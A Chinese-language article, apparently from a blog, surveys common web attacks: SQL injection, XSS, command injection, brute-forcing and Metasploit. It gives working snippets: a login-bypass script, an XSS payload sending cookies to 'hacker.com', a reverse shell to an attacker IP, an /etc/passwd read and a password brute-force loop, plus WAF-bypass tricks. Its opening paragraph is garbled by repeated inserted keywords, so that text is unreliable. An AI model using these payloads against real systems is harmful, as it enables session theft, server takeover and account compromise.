|
2023年冬天,黑客一个福建泉州的攻击跨境电商卖家发现店铺后台每隔三天就被自动下架一批商品。他换了三次密码,代码大全加了手机验证,黑客甚至买了付费防火墙,攻击问题依旧。代码大全最后找安全公司一查,黑客攻击者根本没碰他的攻击登录入口——他们钻的是第三方ERP插件的API接口,用的代码大全是一个2019年就公开的未授权访问漏洞。攻击代码不到二十行,黑客核心就一句:伪造一个过期的攻击token,让插件以为请求来自内部系统。代码大全 这件事说明一个事实:大多数所谓“黑客攻击”,黑客根本用不上什么高深技术。攻击公开的代码大全漏洞利用代码、自动化扫描工具、甚至几段拼凑的脚本,就能放倒一大片目标。真正值钱的不是攻击代码本身,而是知道往哪儿打。 SQL注入:最老但没死透 登录框里输入 ' OR 1=1 --,这是二十年前的经典手法。现在稍微正规点的网站都做了参数化查询,但老系统、外包赶工的后台、物联网设备的管理界面,依然一打一个准。2024年初,某地级市医院的自助挂号机被曝泄露患者数据,起因就是查询接口没过滤单引号。攻击者用sqlmap跑了一遍,直接拖走了整张用户表。 代码长这样: import requests url = "http://target.com/login" payload = { "user": "admin' --", "pass": "x"} r = requests.post(url, data=payload) print(r.text) 就这么简单。复杂的是找到那个没做防护的接口,以及绕过WAF的变形——比如把空格换成/**/,把等号换成like。 XSS:偷Cookie的顺手活 跨站脚本攻击的利用代码通常短得离谱。一个评论区如果不过滤<script>标签,攻击者提交这段: <script>new Image().src="http://hacker.com/steal?c="+document.cookie</script> 任何查看这条评论的用户,Cookie都会被发到攻击者服务器。拿到会话ID,直接冒充登录。2022年某论坛被挂马,就是有人用这招批量盗取管理员账号,然后篡改首页。防御方法也简单:输出时转义<和>,或者设置HttpOnly。但很多老代码就是没做。 命令注入:直接拿服务器 如果Web应用调用了系统命令,比如ping一个用户输入的IP,攻击者输入127.0.0.1; cat /etc/passwd,服务器就会把密码文件内容返回。更狠的写法: 127.0.0.1; bash -i >& /dev/tcp/攻击者IP/4444 0>&1 直接反弹一个shell。2021年某路由器固件被曝后门,就是命令注入。攻击者构造一个恶意DNS请求,路由器解析时执行了嵌入的命令,整个内网就暴露了。 暴力破解:笨但有效 没有漏洞怎么办?撞库。用泄露的账号密码字典,写个脚本循环提交。Python的requests库加上多线程,一分钟能试几千次。如果目标没有验证码、没有登录频率限制,弱密码用户就是活靶子。某连锁酒店集团2023年被撞库,攻击者用admin/admin123登进了总部VPN。 import requests for pwd in open("passwords.txt"): r = requests.post(login_url, data={ "user":"admin","pass":pwd.strip()}) if "dashboard" in r.text: print("密码是:", pwd) break 代码毫无美感,但能跑通就行。 工具比代码更致命 Metasploit、Cobalt Strike、Burp Suite——这些工具把攻击流程做成了点按钮。一个脚本小子用Metasploit的ms17-010模块,五分钟就能拿下没打补丁的Windows 7。真正的门槛在于:知道目标开了什么端口、跑了什么服务、有没有已知CVE。所以信息收集比写攻击代码重要得多。Nmap扫一遍,Shodan搜一下,很多目标自己就把弱点列出来了。 写这些不是教人攻击。是想说,防守方如果连这些基础手法都不清楚,买的防火墙就是摆设。那个泉州卖家后来把ERP插件换成官方最新版,漏洞补上,攻击立刻停了。攻击代码没变,变的是目标不再有那个洞。 |